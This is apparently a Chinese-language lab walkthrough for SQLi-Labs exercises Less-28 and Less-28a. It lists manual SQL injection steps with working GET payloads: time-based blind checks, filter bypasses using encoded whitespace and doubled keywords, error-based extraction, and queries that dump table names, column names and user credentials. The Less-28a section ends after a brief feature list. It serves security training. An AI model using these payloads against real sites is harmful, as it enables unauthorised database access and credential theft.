目录
三、Less28a(GET-Blind based - All your UNION & SELECT belong to us -single quote -Parenthesis )
推荐:
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
二、Less28(GET-Blind based - All your UNION & SELECT belong to us -string single quote with Parenthesis)
2.1、简介:(过滤-盲注-字符型注入)
请求方法:GET
方法:过滤+闭合(字符型注入)+盲注
2.2、第一步:注入点测试
输入?id=1
后面加上单引号发现报错了
说明是单引号闭合,即是字符型注入
且可利用报错回显
用2个单引号前后闭合后
显示正常
测试注入语句是否正常
?id=1'%26%26sleep(3)%26%26'1
发现浏览器一直转,而不是转3s
并最终报错
猜测是不是有括号未闭合(或获取源码)
?id=1')%26%26sleep(3)%26%26('1
转3s,且显示正常
语句被顺利执行
2.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
方法三:eg:输入?id=and or union select --+ updatexml # extractvalue(重要的都输进去)
看输入回显过滤语句的情况
通过一顿操作后
最后可以知道被过滤的字符有
– , # , 空格 , /,+
union(大小写都过滤)、select(大小写都过滤)
替代空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
空格换成 ||
注释被过滤掉了,就可以使用拼接进语句,将2侧进行闭合
union和select可以使用双写
2.4、第三步:判断字段数
?id=0')union(select%0d1,2,'3
2.5、第四步:暴库
?id=1')%26%26extractvalue(1, concat(0x7e, database()))%26%26('1
?id=0')unIon%0BSelEcT%0B1,database(),3||('1
报错提示:期望我的这个id=1是资源
考虑变换注入语句格式,或者使用时间盲注
时间盲注:
?id=1')%26%26if(database()='security', sleep(3), 1)%26%26('1
2.6、第五步:爆表名
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
2.7、第六步:爆字段
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
2.8、第七步:爆数据
?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3
三、Less28a(GET-Blind based - All your UNION & SELECT belong to us -single quote -Parenthesis )
3.1、简介:(过滤-盲注-字符型注入)
请求方法:GET
方法:过滤+闭合(字符型注入)+盲注
3.2、特点:
')字符型注入
过滤了union、select、注释、斜杠
还比第28少了空格等